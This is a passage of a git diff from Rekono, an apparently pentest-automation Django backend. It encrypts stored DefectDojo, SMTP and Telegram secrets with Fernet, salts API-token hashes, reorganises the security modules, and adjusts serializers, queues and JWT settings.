a/src/backend/executions/queues.py +++ b/src/backend/executions/queues.py @@ -38,7 +38,7 @@ def enqueue( at_front: bool = False, ) -> Job: job = self.queue.enqueue( - self.consume, + self.consume.__func__, execution=execution, findings=findings, target_ports=target_ports, diff --git a/src/backend/findings/framework/models.py b/src/backend/findings/framework/models.py index 3ec5b68ad..89dcfe4ef 100644 --- a/src/backend/findings/framework/models.py +++ b/src/backend/findings/framework/models.py @@ -5,7 +5,7 @@ from executions.models import Execution from findings.enums import TriageStatus from framework.models import BaseInput -from security.utils.input_validator import Regex, Validator +from security.input_validator import Regex, Validator class Finding(BaseInput): diff --git a/src/backend/framework/apps.py b/src/backend/framework/apps.py index 9248bbbc6..21f911715 100644 --- a/src/backend/framework/apps.py +++ b/src/backend/framework/apps.py @@ -1,4 +1,3 @@ -from pathlib import Path from typing import Any, List from django.core import management diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index 0be8387bc..bd00ab7a3 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -6,6 +6,7 @@ from django.db import models from django.db.models import Q from rekono.settings import AUTH_USER_MODEL +from security.cryptography.encryption import Encryption class BaseModel(models.Model): @@ -17,7 +18,10 @@ def get_project(self) -> Any: if filter_field: project = self for field in filter_field.split("__"): - project = getattr(project, field) + if hasattr(project, field): + project = getattr(project, field) + else: + return None return project @classmethod @@ -41,6 +45,28 @@ def _get_related_class(self, package: str, name: str) -> Any: return cls +class BaseEncrypted(BaseModel): + class Meta: + abstract = True + + _encryption = Encryption() + _encrypted_field = "_secret" + + @property + def secret(self) -> str: + return ( + self._encryption.decrypt(getattr(self, self._encrypted_field)) + if hasattr(self, self._encrypted_field) + and getattr(self, self._encrypted_field) + else None + ) + + @secret.setter + def secret(self, value: str) -> None: + if hasattr(self, self._encrypted_field) and value: + setattr(self, self._encrypted_field, self._encryption.encrypt(value)) + + class BaseInput(BaseModel): """Class to be extended by all the objects that can be used in tool executions as argument.""" diff --git a/src/backend/framework/queues.py b/src/backend/framework/queues.py index dd7dc96ff..75aca92e6 100644 --- a/src/backend/framework/queues.py +++ b/src/backend/framework/queues.py @@ -32,7 +32,7 @@ def delete_job(self, job_id: str) -> Job: job.delete() def enqueue(self, **kwargs: Any) -> Job: - return self.queue.enqueue(self.consume, **kwargs) + return self.queue.enqueue(self.consume.__func__, **kwargs) def consume(self, **kwargs: Any) -> Any: pass diff --git a/src/backend/parameters/models.py b/src/backend/parameters/models.py index 1efc8b061..85a077510 100644 --- a/src/backend/parameters/models.py +++ b/src/backend/parameters/models.py @@ -3,8 +3,7 @@ from django.db import models from framework.enums import InputKeyword from framework.models import BaseInput -from projects.models import Project -from security.utils.input_validator import Regex, Validator +from security.input_validator import Regex, Validator from targets.models import Target # Create your models here. diff --git a/src/backend/platforms/defect_dojo/fixtures/1_default.json b/src/backend/platforms/defect_dojo/fixtures/1_default.json index a7d8dd36c..5fd26f1a1 100644 --- a/src/backend/platforms/defect_dojo/fixtures/1_default.json +++ b/src/backend/platforms/defect_dojo/fixtures/1_default.json @@ -4,7 +4,7 @@ "pk": 1, "fields": { "server": null, - "api_token": null, + "_api_token": null, "tls_validation": true, "tag": "rekono", "product_type_id": null, diff --git a/src/backend/platforms/defect_dojo/integrations.py b/src/backend/platforms/defect_dojo/integrations.py index ae20a091f..259950e7f 100644 --- a/src/backend/platforms/defect_dojo/integrations.py +++ b/src/backend/platforms/defect_dojo/integrations.py @@ -39,14 +39,14 @@ def _request( **kwargs, "headers": { "User-Agent": "Rekono", - "Authorization": f"Token {self.settings.api_token}", + "Authorization": f"Token {self.settings.secret}", }, "verify": self.settings.tls_validation, }, ) def is_available(self) -> bool: - if not self.settings.server or not self.settings.api_token: + if not self.settings.server or not self.settings.secret: return False if "/api/v2" in self.settings.server: self.settings.server = self.settings.server.replace("/api/v2", "") diff --git a/src/backend/platforms/defect_dojo/models.py b/src/backend/platforms/defect_dojo/models.py index b98cfc712..263ea9f72 100644 --- a/src/backend/platforms/defect_dojo/models.py +++ b/src/backend/platforms/defect_dojo/models.py @@ -1,26 +1,26 @@ from django.core.validators import MaxValueValidator, MinValueValidator from django.db import models -from framework.models import BaseModel +from framework.models import BaseEncrypted, BaseModel from projects.models import Project -from security.utils.input_validator import Regex, Validator +from security.input_validator import Regex, Validator from targets.models import Target # Create your models here. -class DefectDojoSettings(BaseModel): +class DefectDojoSettings(BaseEncrypted): server = models.TextField( max_length=100, validators=[Validator(Regex.TARGET.value)], blank=True, null=True, ) - # TODO: encrypt and decrypt secret for more security - api_token = models.TextField( + _api_token = models.TextField( max_length=40, validators=[Validator(Regex.SECRET.value, code="api_token")], null=True, blank=True, + db_column="api_token", ) tls_validation = models.BooleanField(default=True) tag = models.TextField( @@ -48,6 +48,8 @@ class DefectDojoSettings(BaseModel): date_format = models.TextField(max_length=15) datetime_format = models.TextField(max_length=15) + _encrypted_field = "_api_token" + class DefectDojoSync(BaseModel): project = models.OneToOneField( diff --git a/src/backend/platforms/defect_dojo/serializers.py b/src/backend/platforms/defect_dojo/serializers.py index 8691e577a..fbfaccdbf 100644 --- a/src/backend/platforms/defect_dojo/serializers.py +++ b/src/backend/platforms/defect_dojo/serializers.py @@ -18,7 +18,7 @@ Serializer, SerializerMethodField, ) -from security.utils.input_validator import Regex, Validator +from security.input_validator import Regex, Validator class DefectDojoSettingsSerializer(ModelSerializer): @@ -26,6 +26,7 @@ class DefectDojoSettingsSerializer(ModelSerializer): Validator(Regex.SECRET.value, code="api_token").__call__, required=False, allow_null=True, + source="secret", ) is_available = SerializerMethodField(method_name="is_available", read_only=True) diff --git a/src/backend/platforms/mail/fixtures/1_default.json b/src/backend/platforms/mail/fixtures/1_default.json index 60eb251b1..7ef190ec1 100644 --- a/src/backend/platforms/mail/fixtures/1_default.json +++ b/src/backend/platforms/mail/fixtures/1_default.json @@ -6,7 +6,7 @@ "host": null, "port": 587, "username": null, - "password": null, + "_password": null, "tls": true } } diff --git a/src/backend/platforms/mail/models.py b/src/backend/platforms/mail/models.py index ee5d50dcb..961122713 100644 --- a/src/backend/platforms/mail/models.py +++ b/src/backend/platforms/mail/models.py @@ -1,12 +1,12 @@ from django.core.validators import MaxValueValidator, MinValueValidator from django.db import models -from framework.models import BaseModel -from security.utils.input_validator import Regex, Validator +from framework.models import BaseEncrypted +from security.input_validator import Regex, Validator # Create your models here. -class SMTPSettings(BaseModel): +class SMTPSettings(BaseEncrypted): host = models.TextField( max_length=100, validators=[Validator(Regex.TARGET.value)], @@ -25,14 +25,16 @@ class SMTPSettings(BaseModel): null=True, blank=True, ) - # TODO: encrypt and decrypt secret for more security - password = models.TextField( + _password = models.TextField( max_length=200, validators=[Validator(Regex.SECRET.value, code="api_token")], null=True, blank=True, + db_column="password", ) tls = models.BooleanField(default=True) + _encrypted_field = "_password" + def __str__(self) -> str: return f"{self.host}:{self.port}" diff --git a/src/backend/platforms/mail/notifications.py b/src/backend/platforms/mail/notifications.py index 1d5057323..349e66a3d 100644 --- a/src/backend/platforms/mail/notifications.py +++ b/src/backend/platforms/mail/notifications.py @@ -25,7 +25,7 @@ def __init__(self) -> None: host=self.settings.host, port=self.settings.port, username=self.settings.username, - password=self.settings.password, + password=self.settings.secret, use_tls=self.settings.tls, ) if self.settings diff --git a/src/backend/platforms/mail/serializers.py b/src/backend/platforms/mail/serializers.py index 14570621e..56d7eb3f9 100644 --- a/src/backend/platforms/mail/serializers.py +++ b/src/backend/platforms/mail/serializers.py @@ -2,7 +2,7 @@ from platforms.mail.models import SMTPSettings from platforms.mail.notifications import SMTP from rest_framework.serializers import ModelSerializer, SerializerMethodField -from security.utils.input_validator import Regex, Validator +from security.input_validator import Regex, Validator class SMTPSettingsSerializer(ModelSerializer): @@ -10,6 +10,7 @@ class SMTPSettingsSerializer(ModelSerializer): Validator(Regex.SECRET.value, code="password").__call__, required=False, allow_null=True, + source="secret", ) is_available = SerializerMethodField(method_name="is_available", read_only=True) diff --git a/src/backend/platforms/telegram_app/bot/bot.py b/src/backend/platforms/telegram_app/bot/bot.py index 9f95dad6d..5f52edb1f 100644 --- a/src/backend/platforms/telegram_app/bot/bot.py +++ b/src/backend/platforms/telegram_app/bot/bot.py @@ -51,15 +51,15 @@ def __init__(self) -> None: super().__init__() def _wait_for_token(self, sleep_time: int = 60) -> None: - if not self.settings or not self.settings.token: + if not self.settings or not self.settings.secret: logger.info("[Telegram Bot] Waiting while Telegram token is not configured") - while not self.settings or not self.settings.token: + while not self.settings or not self.settings.secret: time.sleep(sleep_time) self.settings = TelegramSettings.objects.first() self.app = self._get_app() if not self.app or not self.app.updater or not self.app.bot: - self.settings.token = None - self.settings.save(update_fields=["token"]) + self.settings.secret = None + self.settings.save(update_fields=["secret"]) self._wait_for_token(sleep_time) def deploy(self) -> None: diff --git a/src/backend/platforms/telegram_app/bot/framework.py b/src/backend/platforms/telegram_app/bot/framework.py index 3bd2e54f8..78d1d01d6 100644 --- a/src/backend/platforms/telegram_app/bot/framework.py +++ b/src/backend/platforms/telegram_app/bot/framework.py @@ -54,9 +54,8 @@ def _remove_context_value(self, context: CallbackContext, key: str) -> None: def _remove_all_context_values(self, context: CallbackContext) -> None: for key in Context: - if key == Context.PROJECT: - continue - self._remove_context_value(context, key) + if key != Context.PROJECT: + self._remove_context_value(context, key) @sync_to_async def _get_active_telegram_chat_async(self, chat_id: int) -> TelegramChat: diff --git a/src/backend/platforms/telegram_app/bot/mixins/framework.py b/src/backend/platforms/telegram_app/bot/mixins/framework.py index 21bf42894..d0caaeb3b 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/framework.py +++ b/src/backend/platforms/telegram_app/bot/mixins/framework.py @@ -184,7 +184,7 @@ def _build_error_message_from_serializer_errors( ) -> str: return "*ERRORS*\n" + "\n".join( [ - f"_{field}_ {self._escape(messages[0])}" + f"_{field.replace('_', '')}_ {self._escape(messages[0])}" for field, messages in serializer_errors.items() ] ) diff --git a/src/backend/platforms/telegram_app/bot/mixins/targets.py b/src/backend/platforms/telegram_app/bot/mixins/targets.py index 63879a17b..650b5fb03 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/targets.py +++ b/src/backend/platforms/telegram_app/bot/mixins/targets.py @@ -19,7 +19,7 @@ async def _ask_for_target(self, update: Update, context: CallbackContext) -> int "target", 3, "Choose target", - "There are no targets in the selected project. Use /newtarget to create one", + "There are no targets in the selected project\. Use /newtarget to create one", self._get_next_state(self._ask_for_target), ), ) diff --git a/src/backend/platforms/telegram_app/bot/mixins/tasks.py b/src/backend/platforms/telegram_app/bot/mixins/tasks.py index 08406734c..1ce97f43e 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/tasks.py +++ b/src/backend/platforms/telegram_app/bot/mixins/tasks.py @@ -51,17 +51,17 @@ async def _new_task(self, update: Update, context: CallbackContext) -> int: configuration = self._get_context_value(context, Context.CONFIGURATION) wordlist = self._get_context_value(context, Context.WORDLIST) data = { - "target": target.id if target else None, + "target_id": target.id if target else None, "intensity": self._get_context_value( context, Context.INTENSITY ).capitalize(), "executor": chat.user, - "wordlists": [wordlist.id] if wordlist else None, + "wordlists": [wordlist.id] if wordlist else [], } if process: - data["process"] = process.id + data["process_id"] = process.id elif configuration: - data["configuration"] = configuration.id + data["configuration_id"] = configuration.id next_state, instance = await self._create( update, context, diff --git a/src/backend/platforms/telegram_app/fixtures/1_default.json b/src/backend/platforms/telegram_app/fixtures/1_default.json index 944719c88..f214efae1 100644 --- a/src/backend/platforms/telegram_app/fixtures/1_default.json +++ b/src/backend/platforms/telegram_app/fixtures/1_default.json @@ -3,7 +3,7 @@ "model": "telegram_app.telegramsettings", "pk": 1, "fields": { - "token": null + "_token": null } } ] \ No newline at end of file diff --git a/src/backend/platforms/telegram_app/framework.py b/src/backend/platforms/telegram_app/framework.py index fdbf2c9ed..85620c333 100644 --- a/src/backend/platforms/telegram_app/framework.py +++ b/src/backend/platforms/telegram_app/framework.py @@ -18,18 +18,21 @@ def __init__(self, **kwargs: Any) -> None: self.date_format = "%Y-%m-%d %H:%M:%S" def initialize(self) -> None: - asyncio.run(self.app.bot.initialize()) + if not self.app or not self.app.bot: + self.app = self._get_app() + if self.app and self.app.bot: + asyncio.run(self.app.bot.initialize()) def get_bot_name(self) -> str: return self.app.bot.username if self.app and self.app.bot else None def _get_app(self) -> Any: - if self.settings and self.settings.token: + if self.settings and self.settings.secret: try: - return ApplicationBuilder().token(self.settings.token).build() + return ApplicationBuilder().token(self.settings.secret).build() except (InvalidToken, Forbidden): logger.error("[Telegram] Authentication error") - self.settings.token = None + self.settings.secret = None self.settings.save(update_fields=["token"]) except Exception: logger.error("[Telegram] Error creating updater") diff --git a/src/backend/platforms/telegram_app/models.py b/src/backend/platforms/telegram_app/models.py index 37b4c0fcc..d276e926c 100644 --- a/src/backend/platforms/telegram_app/models.py +++ b/src/backend/platforms/telegram_app/models.py @@ -1,23 +1,25 @@ from django.db import models from django.db.models import Q -from framework.models import BaseModel +from framework.models import BaseEncrypted, BaseModel from rekono.settings import AUTH_USER_MODEL from security.authorization.roles import Role -from security.utils.input_validator import Regex, Validator +from security.input_validator import FutureDatetimeValidator, Regex, Validator from users.models import User # Create your models here. -class TelegramSettings(BaseModel): - # TODO: encrypt and decrypt secret for more security - token = models.TextField( +class TelegramSettings(BaseEncrypted): + _token = models.TextField( max_length=200, validators=[Validator(Regex.SECRET.value, code="api_token")], null=True, blank=True, + db_column="token", ) + _encrypted_field = "_token" + class TelegramChat(BaseModel): user = models.OneToOneField( @@ -31,7 +33,11 @@ class TelegramChat(BaseModel): creation = models.DateTimeField(auto_now_add=True) # One Time Password to link user account otp = models.TextField(max_length=200, blank=True, null=True) - otp_expiration = models.DateTimeField(blank=True, null=True) + otp_expiration = models.DateTimeField( + blank=True, + null=True, + validators=[FutureDatetimeValidator(code="otp_expiration")], + ) def is_auditor(self) -> bool: return ( diff --git a/src/backend/platforms/telegram_app/serializers.py b/src/backend/platforms/telegram_app/serializers.py index 5164887c1..5d697df85 100644 --- a/src/backend/platforms/telegram_app/serializers.py +++ b/src/backend/platforms/telegram_app/serializers.py @@ -9,7 +9,7 @@ from rest_framework import status from rest_framework.exceptions import AuthenticationFailed from rest_framework.serializers import ModelSerializer, SerializerMethodField -from security.utils.input_validator import Regex, Validator +from security.input_validator import Regex, Validator logger = logging.getLogger() @@ -17,8 +17,9 @@ class TelegramSettingsSerializer(ModelSerializer): token = ProtectedSecretField( Validator(Regex.SECRET.value, code="password").__call__, - required=False, - allow_null=True, + write_only=True, + required=True, + source="secret", ) bot = SerializerMethodField(method_name="get_bot_name", read_only=True) is_available = SerializerMethodField(method_name="is_available", read_only=True) diff --git a/src/backend/processes/models.py b/src/backend/processes/models.py index 02ff1c9b3..ce047a14b 100644 --- a/src/backend/processes/models.py +++ b/src/backend/processes/models.py @@ -1,7 +1,7 @@ from django.db import models from framework.models import BaseLike, BaseModel from rekono.settings import AUTH_USER_MODEL -from security.utils.input_validator import Regex, Validator +from security.input_validator import Regex, Validator from taggit.managers import TaggableManager from tools.models import Configuration diff --git a/src/backend/processes/serializers.py b/src/backend/processes/serializers.py index 66bb1516d..c78a4580e 100644 --- a/src/backend/processes/serializers.py +++ b/src/backend/processes/serializers.py @@ -1,8 +1,9 @@ from framework.fields import TagField from framework.serializers import LikeSerializer from processes.models import Process, Step -from rest_framework.serializers import ModelSerializer +from rest_framework.serializers import ModelSerializer, PrimaryKeyRelatedField from taggit.serializers import TaggitSerializer +from tools.models import Configuration from tools.serializers import ConfigurationSerializer from users.serializers import SimpleUserSerializer @@ -14,19 +15,38 @@ class Meta: class SimpleStepSerializer(ModelSerializer): - configuration = ConfigurationSerializer(many=False) + configuration_id = PrimaryKeyRelatedField( + many=False, + write_only=True, + required=True, + source="configuration", + queryset=Configuration.objects.all(), + ) + configuration = ConfigurationSerializer(many=False, read_only=True) class Meta: model = Step fields = ( "id", "process", + "configuration_id", "configuration", ) class StepSerializer(SimpleStepSerializer): - process = SimpleProcessSerializer(many=False) + process_id = PrimaryKeyRelatedField( + many=False, + write_only=True, + required=True, + source="process", + queryset=Process.objects.all(), + ) + process = SimpleProcessSerializer(many=False, read_only=True) + + class Meta: + model = Step + fields = SimpleStepSerializer.Meta.fields + ("process_id",) class ProcessSerializer(TaggitSerializer, LikeSerializer): diff --git a/src/backend/projects/models.py b/src/backend/projects/models.py index adf08ca4c..609e71c79 100644 --- a/src/backend/projects/models.py +++ b/src/backend/projects/models.py @@ -3,7 +3,7 @@ from django.db import models from framework.models import BaseModel from rekono.settings import AUTH_USER_MODEL -from security.utils.input_validator import Regex, Validator +from security.input_validator import Regex, Validator from taggit.managers import TaggableManager # Create your models here. diff --git a/src/backend/rekono/config.py b/src/backend/rekono/config.py index ee5172256..29d2f4d39 100644 --- a/src/backend/rekono/config.py +++ b/src/backend/rekono/config.py @@ -4,6 +4,7 @@ from typing import Any, Optional import yaml +from cryptography.fernet import Fernet from rekono.properties import Property @@ -11,13 +12,7 @@ class RekonoConfig: def __init__(self) -> None: self.testing = "test" in sys.argv self.base_dir = Path(__file__).resolve().parent.parent - if self.testing: - self.home = self.base_dir / "testing" / "home" - else: - home_from_config = Path(self._get_config(Property.REKONO_HOME)) - self.home = ( - home_from_config if home_from_config.is_dir() else self.base_dir.parent - ) + self.home = self._get_home() self.reports = self.home / "reports" self.wordlists = self.home / "wordlists" self.logs = self.home / "logs" @@ -26,12 +21,29 @@ def __init__(self) -> None: self.config_file = self._get_config_file() with self.config_file.open("r") as file: self._config_properties = yaml.safe_load(file) + self.encryption_key = self._get_config(Property.ENCRYPTION_KEY) + if not self.encryption_key: + self.encryption_key = Fernet.generate_key().decode() + self._update_config_in_file( + Property.ENCRYPTION_KEY.value[1], self.encryption_key + ) for property in Property: if not hasattr(self, property.name.lower()) or not getattr( self, property.name.lower() ): setattr(self, property.name.lower(), self._get_config(property)) + def _get_home(self) -> Path: + if self.testing: + return self.base_dir / "testing" / "home" + else: + home_from_config = Path(self._get_config(Property.REKONO_HOME)) + return ( + home_from_config + if home_from_config.is_dir() + else self.base_dir.parent.parent + ) + def _get_config_file(self) -> Path: for filename in [ "config.yaml", @@ -63,9 +75,20 @@ def _get_config(self, property: Property) -> Any: return value def _get_config_from_file(self, property: str) -> Optional[Any]: - value = self._config_properties + properties = self._config_properties for key in property.split("."): - if key not in value or not value.get(key): + if key not in properties or not properties.get(key): return None - value = value.get(key, {}) - return value + properties = properties.get(key, {}) + return properties + + def _update_config_in_file(self, property: str, value: Any) -> None: + properties = self._config_properties + property_path = property.split(".") + for index, key in enumerate(property_path): + is_last_path = index + 1 == len(property_path) + if key not in properties or is_last_path: + properties[key] = value if is_last_path else {} + properties = properties[key] + with self.config_file.open("w") as config_file: + yaml.dump(self._config_properties, config_file, default_flow_style=False) diff --git a/src/backend/rekono/properties.py b/src/backend/rekono/properties.py index dd66107a1..f0f4ba295 100644 --- a/src/backend/rekono/properties.py +++ b/src/backend/rekono/properties.py @@ -1,6 +1,6 @@ from enum import Enum -from security.utils.cryptography import generate_random_value +from security.cryptography.random import generate_random_value class Property(Enum): @@ -8,6 +8,11 @@ class Property(Enum): FRONTEND_URL = ("RKN_FRONTEND_URL", "frontend.url", "https://127.0.0.1") ROOT_PATH = ("RKN_ROOT_PATH", "rootpath", None) SECRET_KEY = ("RKN_SECRET_KEY", "security.secret-key", generate_random_value(3000)) + ENCRYPTION_KEY = ( + "RKN_ENCRYPTION_KEY", + "security.encryption-key", + None, + ) ALLOWED_HOSTS = ( "RKN_ALLOWED_HOSTS", "security.allowed-hosts", diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index bf0286bdc..021058b37 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -135,13 +135,13 @@ "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator", }, { - "NAME": "security.utils.input_validator.PasswordValidator", + "NAME": "security.input_validator.PasswordValidator", }, ] # JWT configuration SIMPLE_JWT = { - "ACCESS_TOKEN_LIFETIME": timedelta(minutes=5), + "ACCESS_TOKEN_LIFETIME": timedelta(minutes=2), "REFRESH_TOKEN_LIFETIME": timedelta(hours=1), "ROTATE_REFRESH_TOKENS": True, "BLACKLIST_AFTER_ROTATION": True, diff --git a/src/backend/requirements.txt b/src/backend/requirements.txt index c19ba58ee..126782081 100644 --- a/src/backend/requirements.txt +++ b/src/backend/requirements.txt @@ -1,3 +1,4 @@ +cryptography==41.0.5 defusedxml==0.7.1 Django==4.2.7 djangorestframework==3.14.0 diff --git a/src/backend/security/authentication/api.py b/src/backend/security/authentication/api.py index 56f6db02d..6a5672ce9 100644 --- a/src/backend/security/authentication/api.py +++ b/src/backend/security/authentication/api.py @@ -2,17 +2,19 @@ from api_tokens.models import ApiToken from django.utils import timezone +from rekono.settings import CONFIG from rest_framework.authentication import TokenAuthentication from rest_framework.exceptions import AuthenticationFailed -from security.utils.cryptography import hash +from security.cryptography.hashing import hash class ApiAuthentication(TokenAuthentication): model = ApiToken def authenticate_credentials(self, key) -> Tuple[Any, Any]: - # TODO: Hash and salt key - user, token = super().authenticate_credentials(hash(key)) + user, token = super().authenticate_credentials( + hash(f"{key}:{CONFIG.encryption_key}") + ) if token.expiration and token.expiration < timezone.now(): raise AuthenticationFailed("API token has expired") return user, token diff --git a/src/backend/security/authentication/serializers.py b/src/backend/security/authentication/serializers.py index 9ad5908b3..7c700ae5c 100644 --- a/src/backend/security/authentication/serializers.py +++ b/src/backend/security/authentication/serializers.py @@ -12,7 +12,7 @@ class LoginSerializer(TokenObtainPairSerializer): def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: attrs = super().validate(attrs) - # TODO: Close all the active sessions before creating the new + User.objects.invalidate_all_tokens(self.user, exclude_latest=True) SMTP().login_notification(self.user) logger.info( f"[Security] User {self.user.id} has logged in", diff --git a/src/backend/security/utils/__init__.py b/src/backend/security/cryptography/__init__.py similarity index 100% rename from src/backend/security/utils/__init__.py rename to src/backend/security/cryptography/__init__.py diff --git a/src/backend/security/cryptography/encryption.py b/src/backend/security/cryptography/encryption.py new file mode 100644 index 000000000..9f6b6ce90 --- /dev/null +++ b/src/backend/security/cryptography/encryption.py @@ -0,0 +1,12 @@ +from cryptography.fernet import Fernet +from rekono.settings import CONFIG + + +class Encryption: + fernet = Fernet(CONFIG.encryption_key.encode()) + + def encrypt(self, value: str) -> str: + return self.fernet.encrypt(value.encode()).decode() + + def decrypt(self, value: str) -> str: + return self.fernet.decrypt(value.encode()).decode() diff --git a/src/backend/security/cryptography/hashing.py b/src/backend/security/cryptography/hashing.py new file mode 100644 index 000000000..503f1bcc9 --- /dev/null +++ b/src/backend/security/cryptography/hashing.py @@ -0,0 +1,13 @@ +import hashlib + + +def hash(value: str) -> str: + """Calculate the hash value from a plain value using the SHA-512 algorithm. + + Args: + value (str): Plain value + + Returns: + str: Hash value + """ + return hashlib.sha512(value.encode()).hexdigest() diff --git a/src/backend/security/utils/cryptography.py b/src/backend/security/cryptography/random.py similarity index 53% rename from src/backend/security/utils/cryptography.py rename to src/backend/security/cryptography/random.py index acf77a357..acc43c4b9 100644 --- a/src/backend/security/utils/cryptography.py +++ b/src/backend/security/cryptography/random.py @@ -1,4 +1,3 @@ -import hashlib import secrets import string @@ -13,15 +12,3 @@ def generate_random_value(size: int) -> str: str: Secure random value """ return "".join(secrets.choice(string.printable) for _ in range(size)) - - -def hash(value: str) -> str: - """Calculate the hash value from a plain value using the SHA-512 algorithm. - - Args: - value (str): Plain value - - Returns: - str: Hash value - """ - return hashlib.sha512(value.encode()).hexdigest() diff --git a/src/backend/security/utils/file_handler.py b/src/backend/security/file_handler.py similarity index 100% rename from src/backend/security/utils/file_handler.py rename to src/backend/security/file_handler.py diff --git a/src/backend/security/utils/input_validator.py b/src/backend/security/input_validator.py similarity index 100% rename from src/backend/security/utils/input_validator.py rename to src/backend/security/input_validator.py diff --git a/src/backend/settings/models.py b/src/backend/settings/models.py index e9b9a553f..d846d3c34 100644 --- a/src/backend/settings/models.py +++ b/src/backend/settings/models.py @@ -12,11 +12,6 @@ class Settings(BaseModel): ) target_blacklist = models.TextField(blank=True, null=True) - # Telegram token to deploy the Telegram bot - # telegram_bot_token = models.TextField( - # blank=True, null=True, validators=[validate_telegram_token] - # ) - def __str__(self) -> str: """Instance representation in text format. diff --git a/src/backend/settings/serializers.py b/src/backend/settings/serializers.py index 295822c81..40fc4cd43 100644 --- a/src/backend/settings/serializers.py +++ b/src/backend/settings/serializers.py @@ -1,6 +1,6 @@ from framework.fields import StringAsListField from rest_framework.serializers import ModelSerializer -from security.utils.input_validator import Regex, Validator +from security.input_validator import Regex, Validator from settings.models import Settings @@ -23,17 +23,4 @@ class Meta: "id", "max_uploaded_file_mb", "target_blacklist", - # "telegram_bot_name", - # "telegram_bot_token", ) - - # def get_telegram_bot_name(self, instance: System) -> Optional[str]: - # """Get Telegram bot name using the Telegram bot. - - # Args: - # instance (System): System instance. Not used - - # Returns: - # Optional[str]: Telegram bot name - # """ - # return get_telegram_bot_name() diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py index 470b6d67e..2c74524e5 100644 --- a/src/backend/target_ports/models.py +++ b/src/backend/target_ports/models.py @@ -5,7 +5,7 @@ from django.db import models from framework.enums import InputKeyword from framework.models import BaseInput -from security.utils.input_validator import Regex, Validator +from security.input_validator import Regex, Validator from targets.models import Target # Create your models here. diff --git a/src/backend/target_ports/serializers.py b/src/backend/target_ports/serializers.py index 6ccfd1305..578c66f81 100644 --- a/src/backend/target_ports/serializers.py +++ b/src/backend/target_ports/serializers.py @@ -1,13 +1,20 @@ +from authentications.models import Authentication from authentications.serializers import AuthenticationSerializer -from rest_framework.serializers import ModelSerializer +from rest_framework.serializers import ModelSerializer, PrimaryKeyRelatedField from target_ports.models import TargetPort class TargetPortSerializer(ModelSerializer): """Serializer to manage target ports via API.""" - # TODO: Return serializer in READ ops and expect the ID for POST and PUT - # authentication = AuthenticationSerializer(many=False, required=False) + authentication_id = PrimaryKeyRelatedField( + many=False, + write_only=True, + required=False, + source="authentication", + queryset=Authentication.objects.all(), + ) + authentication = AuthenticationSerializer(many=False, read_only=True) class Meta: model = TargetPort @@ -16,5 +23,6 @@ class Meta: "target", "port", "path", + "authentication_id", "authentication", ) diff --git a/src/backend/targets/models.py b/src/backend/targets/models.py index d1b664c2d..4bfeedc7e 100644 --- a/src/backend/targets/models.py +++ b/src/backend/targets/models.py @@ -9,7 +9,7 @@ from framework.enums import InputKeyword from framework.models import BaseInput from projects.models import Project -from security.utils.input_validator import Regex, TargetValidator +from security.input_validator import Regex, TargetValidator from targets.enums import TargetType # Create your models here. diff --git a/src/backend/targets/serializers.py b/src/backend/targets/serializers.py index b0600d6f9..9bdf2e775 100644 --- a/src/backend/targets/serializers.py +++ b/src/backend/targets/serializers.py @@ -16,7 +16,7 @@ class Meta: class TargetSerializer(ModelSerializer): """Serializer to manage targets via API.""" - defect_dojo_sync = DefectDojoTargetSyncSerializer(read_only=True, many=False) + defect_dojo_sync = DefectDojoTargetSyncSerializer(many=False, read_only=True) class Meta: model = Target diff --git a/src/backend/tasks/models.py b/src/backend/tasks/models.py index b05b6dd38..221c107f6 100644 --- a/src/backend/tasks/models.py +++ b/src/backend/tasks/models.py @@ -1,7 +1,7 @@ from django.db import models from processes.models import Process from rekono.settings import AUTH_USER_MODEL -from security.utils.input_validator import FutureDatetimeValidator, TimeAmountValidator +from security.input_validator import FutureDatetimeValidator, TimeAmountValidator from targets.models import Target from tasks.enums import TimeUnit from tools.enums import Intensity diff --git a/src/backend/tasks/queues.py b/src/backend/tasks/queues.py index f4c858809..107582017 100644 --- a/src/backend/tasks/queues.py +++ b/src/backend/tasks/queues.py @@ -11,7 +11,6 @@ from framework.queues import BaseQueue from input_types.models import InputType from processes.models import Step -from rq import Callback from rq.job import Job from tasks.models import Task from tools.models import Intensity @@ -25,14 +24,13 @@ def __init__(self) -> None: self.executions_queue = ExecutionsQueue() def enqueue(self, task: Task) -> Job: - input(type(self._scheduled_callback_as_func)) if task.scheduled_at: task.enqueued_at = task.scheduled_at job = self.queue.enqueue_at( task.scheduled_at, - self.consume, + self.consume.__func__, task=task, - on_success=Callback(self._scheduled_callback_as_func), + on_success=self._scheduled_callback.__func__, ) logger.info( f"[Task] Task {task.id} will be enqueued at {task.scheduled_at}" @@ -42,9 +40,9 @@ def enqueue(self, task: Task) -> Job: task.enqueued_at = timezone.now() + timedelta(**delay) job = self.queue.enqueue_in( timedelta(**delay), - self.consume, + self.consume.__func__, task=task, - on_success=Callback(self._scheduled_callback_as_func), + on_success=self._scheduled_callback.__func__, ) logger.info( f"[Task] Task {task.id} will be enqueued in {task.scheduled_in} {task.scheduled_time_unit}" @@ -52,9 +50,9 @@ def enqueue(self, task: Task) -> Job: else: task.enqueued_at = timezone.now() job = self.queue.enqueue( - self.consume, + self.consume.__func__, task=task, - on_success=Callback(self._scheduled_callback_as_func), + on_success=self._scheduled_callback.__func__, ) logger.info(f"[Task] Task {task.id} has been enqueued") task.rq_job_id = job.id @@ -171,18 +169,10 @@ def _scheduled_callback( ) job = self.queue.enqueue_at( result.enqueued_at, - self.consume, + self.consume.__func__, task=result, - on_success=Callback(self._scheduled_callback_as_func), + on_success=self._scheduled_callback.__func__, ) logger.info(f"[Task] Scheduled task {result.id} has been enqueued again") result.rq_job_id = job.id result.save(update_fields=["enqueued_at", "rq_job_id"]) - - def _scheduled_callback_as_func(self) -> None: - def _inner_scheduled_callback( - job: Any, connection: Any, result: Task, *args: Any, **kwargs: Any - ) -> None: - self._scheduled_callback(job, connection, result, *args, **kwargs) - - return _inner_scheduled_callback diff --git a/src/backend/tasks/serializers.py b/src/backend/tasks/serializers.py index 